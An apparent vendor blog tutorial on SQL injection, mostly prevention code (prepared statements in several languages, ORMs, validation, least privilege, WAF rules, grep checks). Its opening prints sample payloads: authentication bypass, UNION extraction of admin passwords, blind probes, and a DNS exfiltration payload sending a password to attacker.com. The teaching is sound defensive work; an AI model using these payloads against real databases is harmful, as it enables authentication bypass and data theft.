SQL injection (SQLi) has been the #1 web application vulnerability for over two decades. Despite being well-understood, it remains in the OWASP Top 10 (A03:2021 — Injection) because developers continue to concatenate user input directly into SQL queries.
A successful SQL injection attack can allow an attacker to read your entire database, bypass authentication, modify or delete data, and in some cases execute operating system commands on the database server.
Also see: SQL Injection Testing Checklist, OWASP Top 10 Explained 2026, How to Prevent XSS, and API Security Best Practices.
What Is SQL Injection?
SQL injection occurs when user-supplied input is included in a SQL query without proper sanitization. Here's a classic example:
# Vulnerable PHP code
$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
# Normal input: john
# Query becomes: SELECT * FROM users WHERE username = 'john'
# Malicious input: ' OR '1'='1' --
# Query becomes: SELECT * FROM users WHERE username = '' OR '1'='1' --'
# This returns ALL users — authentication bypassed
The attacker's input changes the structure of the SQL query, not just the data. The OR '1'='1' condition is always true, so the query returns every row in the users table.
Types of SQL Injection Attacks
1. Classic (In-Band) SQLi CRITICAL
The attacker receives results directly in the application's response. This includes UNION-based attacks that combine results from multiple tables:
# UNION-based SQLi — extract data from other tables
' UNION SELECT username, password FROM admin_users --
# Extract database version
' UNION SELECT @@version, NULL --
2. Blind SQLi CRITICAL
The application doesn't show query results, but the attacker infers data from the application's behavior (true/false responses or time delays):
# Boolean-based blind SQLi
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' --
# Time-based blind SQLi
' AND IF(1=1, SLEEP(5), 0) --
# If the response takes 5 seconds, the condition is true
3. Out-of-Band SQLi HIGH
Data is exfiltrated through a different channel (DNS lookups, HTTP requests to attacker's server):
# DNS exfiltration (MySQL)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',
(SELECT password FROM users LIMIT 1),
'.attacker.com\\share')) --
Fix #1: Parameterized Queries (Primary Defense)
Parameterized queries (prepared statements) are the most effective defense against SQL injection. They separate SQL code from data, making it impossible for user input to alter the query structure.
PHP (PDO)
// SECURE — Parameterized query with PDO
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->execute([
':username' => $username,
':password' => $password
]);
$user = $stmt->fetch();
// ALSO SECURE — Using ? placeholders
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND password = ?');
$stmt->execute([$username, $password]);
PHP (MySQLi)
// SECURE — MySQLi prepared statement
$stmt = $mysqli->prepare('SELECT * FROM users WHERE username = ? AND password = ?');
$stmt->bind_param('ss', $username, $password);
$stmt->execute();
$result = $stmt->get_result();
Node.js (mysql2)
// SECURE — Parameterized query
const [rows] = await connection.execute(
'SELECT * FROM users WHERE username = ? AND password = ?',
[username, password]
);
Python (psycopg2 / MySQL Connector)
# SECURE — Parameterized query (PostgreSQL)
cursor.execute(
'SELECT * FROM users WHERE username = %s AND password = %s',
(username, password)
)
# SECURE — Parameterized query (MySQL)
cursor.execute(
'SELECT * FROM users WHERE username = %(user)s AND password = %(pass)s',
{'user': username, 'pass': password}
)
Java (JDBC)
// SECURE — PreparedStatement
PreparedStatement stmt = connection.prepareStatement(
"SELECT * FROM users WHERE username = ? AND password = ?"
);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
C# / .NET
// SECURE — SqlParameter
using var cmd = new SqlCommand(
"SELECT * FROM users WHERE username = @user AND password = @pass",
connection
);
cmd.Parameters.AddWithValue("@user", username);
cmd.Parameters.AddWithValue("@pass", password);
var reader = cmd.ExecuteReader();
Fix #2: Use an ORM
Object-Relational Mappers (ORMs) generate parameterized queries automatically, making SQL injection nearly impossible when used correctly:
# Django ORM (Python) — automatically parameterized
user = User.objects.filter(username=username, password=password).first()
# Eloquent ORM (Laravel/PHP)
$user = User::where('username', $username)->where('password', $password)->first();
# Sequelize (Node.js)
const user = await User.findOne({ where: { username, password } });
# ActiveRecord (Ruby on Rails)
user = User.find_by(username: username, password: password)
ORMs protect you only when you use their query builders. Raw SQL queries within an ORM are still vulnerable if you concatenate user input. Always use the ORM's parameterization even for raw queries: Model.raw('SELECT * FROM users WHERE id = ?', [userId])
Fix #3: Input Validation & Sanitization
Input validation is a defense-in-depth measure — it should complement parameterized queries, not replace them.
// Whitelist validation — only allow expected characters
function validateUsername(input) {
// Only alphanumeric, underscore, hyphen, 3-30 chars
return /^[a-zA-Z0-9_-]{3,30}$/.test(input);
}
// Type casting — ensure numeric inputs are numbers
const userId = parseInt(req.params.id, 10);
if (isNaN(userId)) return res.status(400).send('Invalid ID');
// Escape special characters (last resort — prefer parameterized queries)
const escaped = mysql.escape(userInput);
Fix #4: Least Privilege Database Access
Even if SQL injection occurs, limit the damage by restricting database user permissions:
# Create a restricted database user for the web application
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password_here';
# Grant only necessary permissions
GRANT SELECT, INSERT, UPDATE, DELETE ON myapp.* TO 'webapp'@'localhost';
# NEVER grant these to a web application user:
# GRANT ALL PRIVILEGES — too broad
# GRANT FILE — allows reading server files
# GRANT PROCESS — reveals running queries
# GRANT SUPER — allows killing queries, changing settings
Fix #5: Web Application Firewall Rules
A WAF adds an additional layer of protection by blocking common SQLi patterns:
# ModSecurity (Apache) — Enable OWASP Core Rule Set
SecRuleEngine On
Include /etc/modsecurity/owasp-crs/crs-setup.conf
Include /etc/modsecurity/owasp-crs/rules/*.conf
# Cloudflare WAF — Enable "OWASP Core Ruleset" in Security → WAF
# AWS WAF — Add "SQL injection" managed rule group
How to Detect SQL Injection Vulnerabilities
Use AI QA Monkey's free security scanner to detect SQL injection indicators on your website. For deeper testing:
- Static analysis: Search your codebase for string concatenation in SQL queries
- Dynamic testing: Use tools like sqlmap for authorized penetration testing
- Code review: Audit all database interaction points for parameterized queries
# Search for vulnerable patterns in your codebase
# PHP — string concatenation in queries
grep -rn "query.*\$_" --include="*.php" .
grep -rn "mysql_query\|mysqli_query" --include="*.php" .
# Node.js — string templates in queries
grep -rn "query.*\`" --include="*.js" .
# Python — f-strings or % formatting in queries
grep -rn "execute.*f'" --include="*.py" .
grep -rn "execute.*%" --include="*.py" .
Scan Your Website for Vulnerabilities
Free security scan — checks for injection risks, exposed files, misconfigurations, and 40+ more issues.
Scan Your Site NowFrequently Asked Questions
What is SQL injection?
SQL injection is a code injection attack where malicious SQL statements are inserted into input fields that are passed to a database query. It can allow attackers to read, modify, or delete database contents, bypass authentication, or execute system commands.
What is the best way to prevent SQL injection?
Use parameterized queries (prepared statements). They completely separate SQL code from data, making injection impossible regardless of the input. See the code examples above for PHP, Node.js, Python, Java, and .NET.
Can a WAF prevent SQL injection?
A WAF can block many common patterns but should never be your only defense. WAFs can be bypassed with encoding tricks. Always use parameterized queries as your primary defense, with a WAF as an additional layer.
- SQL Injection Testing Checklist — practical steps for web teams
- OWASP Top 10 Explained — Injection is A03:2021
- How to Prevent XSS Attacks
- Run a free security scan — detects SQL injection indicators and exposed database ports